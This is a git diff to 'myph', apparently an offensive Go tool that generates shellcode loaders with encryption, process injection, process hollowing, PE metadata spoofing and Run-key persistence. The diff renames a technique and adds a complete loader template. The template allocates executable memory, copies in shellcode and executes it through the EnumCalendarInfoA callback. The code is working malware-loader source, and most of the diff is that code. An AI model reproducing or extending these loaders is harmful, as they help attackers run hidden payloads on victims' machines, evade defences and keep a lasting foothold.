diff --git a/README.md b/README.md
@@ -72,19 +72,17 @@ Available Commands:
spoof spoof PE metadata using versioninfo
Flags:
+ -b, --builtype string define the output type (allowed: exe, dll) (default "exe")
-e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
-h, --help help for myph
-k, --key string encryption key, auto-generated if empty. (if used by --encryption)
-f, --out string output name (default "payload.exe")
- -z, --peristence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
+ -z, --persistence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
--sleep-time uint sleep time in seconds before executing loader (default: 0)
- -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall, Etwp) (default "CRT")
-
+ -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp) (default "CRT")
-v, --version version for myph
-
-Use "myph [command] --help" for more information about a command.
```
#### Loader Methods
@@ -94,7 +92,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
- CreateFiber
- CreateThread
- Process hollowing
-- Callback
+- EnumCalendarInfoA
- CreateRemoteThread
- EtwpCreateEtwThread
- CreateRemoteThreadEx
diff --git a/cli/parser.go b/cli/parser.go
@@ -303,23 +303,21 @@ func GetParser(opts *Options) *cobra.Command {
defaults := GetDefaultCLIOptions()
var rootCmd = runLoader
-
rootCmd.AddCommand(spoofMetadata)
rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Callback, Syscall, Etwp)")
+ rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp)")
rootCmd.Flags().StringVarP(&opts.BuildType, "builtype", "b", defaults.BuildType, "define the output type (allowed: exe, dll)")
rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
- rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "peristence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
+ rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
-
return rootCmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -14,14 +14,14 @@ const (
EncKindBLF encKind = "blowfish"
EncKindC20 encKind = "chacha20"
- CRT technique = "CRT"
- CRTx technique = "CRTx"
- ETWP technique = "Etwp"
- SYSCALL technique = "Syscall"
- CreateFiber technique = "CreateFiber"
- CreateThread technique = "CreateThread"
- ProcessHollowing technique = "ProcessHollowing"
- Callback technique = "Callback"
+ CRT technique = "CRT"
+ CRTx technique = "CRTx"
+ ETWP technique = "Etwp"
+ SYSCALL technique = "Syscall"
+ CreateFiber technique = "CreateFiber"
+ CreateThread technique = "CreateThread"
+ ProcessHollowing technique = "ProcessHollowing"
+ EnumCalendarInfoA technique = "EnumCalendarInfoA"
)
// String is used both by fmt.Print and by Cobra in help text
@@ -53,11 +53,11 @@ func (e *technique) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *technique) Set(v string) error {
switch v {
- case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Callback", "Etwp":
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "EnumCalendarInfoA", "Etwp":
*e = technique(v)
return nil
default:
- return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"Callback\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"EnumCalendarInfoA\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
}
}
diff --git a/loaders/callback.go b/loaders/callback.go
@@ -1,60 +0,0 @@
-package loaders
-
-import (
- "fmt"
-)
-
-func GetCallbackTemplate(targetProcess string) string {
- var _ = targetProcess // unused in this template
-
- println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
- return fmt.Sprintf(`
-package main
-
-import (
- "syscall"
- "unsafe"
-)
-
-const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_EXECUTE_READWRITE = 0x40
-)
-
-var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
- ntdll = syscall.MustLoadDLL("ntdll.dll")
-
- VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
- EnumCalendarInfoA = kernel32.MustFindProc("EnumCalendarInfoA")
- RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
-
- LOCALE_USER_DEFAULT = 0x0400
- ENUM_ALL_CALENDARS = 0xFFFFFFFF
- CAL_SMONTHNAME1 = 0x00000015
-)
-
-func ExecuteOrderSixtySix(shellcode []byte) {
-
- addr, _, _ := VirtualAlloc.Call(
- 0,
- uintptr(len(shellcode)),
- MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
- )
-
- _, _, _ = RtlCopyMemory.Call(
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
-
- _, _, _ = EnumCalendarInfoA.Call(
- addr,
- (uintptr)(LOCALE_USER_DEFAULT),
- (uintptr)(ENUM_ALL_CALENDARS),
- (uintptr)(CAL_SMONTHNAME1),
- )
-}
- `)
-}
diff --git a/loaders/enumcalendarinfoa.go b/loaders/enumcalendarinfoa.go
@@ -0,0 +1,59 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetEnumCalendarInfoATemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ EnumCalendarInfoA = kernel32.MustFindProc("EnumCalendarInfoA")
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+
+ LOCALE_USER_DEFAULT = 0x0400
+ ENUM_ALL_CALENDARS = 0xFFFFFFFF
+ CAL_SMONTHNAME1 = 0x00000015
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ addr, _, _ := VirtualAlloc.Call(
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+ )
+
+ _, _, _ = RtlCopyMemory.Call(
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ )
+
+ _, _, _ = EnumCalendarInfoA.Call(
+ addr,
+ (uintptr)(LOCALE_USER_DEFAULT),
+ (uintptr)(ENUM_ALL_CALENDARS),
+ (uintptr)(CAL_SMONTHNAME1),
+ )
+}
+ `)
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -24,9 +24,8 @@ func SelectTemplate(templateName string) func(string) string {
case "Syscall":
return GetSyscallTemplate
-
- case "Callback":
- return GetCallbackTemplate
+ case "EnumCalendarInfoA":
+ return GetEnumCalendarInfoATemplate
case "CreateFiber":
return GetCreateFiberTemplate
@@ -34,7 +33,6 @@ func SelectTemplate(templateName string) func(string) string {
case "Etwp":
return GetEtwpCreateEtwThreadTemplate
-
}
return nil
| | | | | |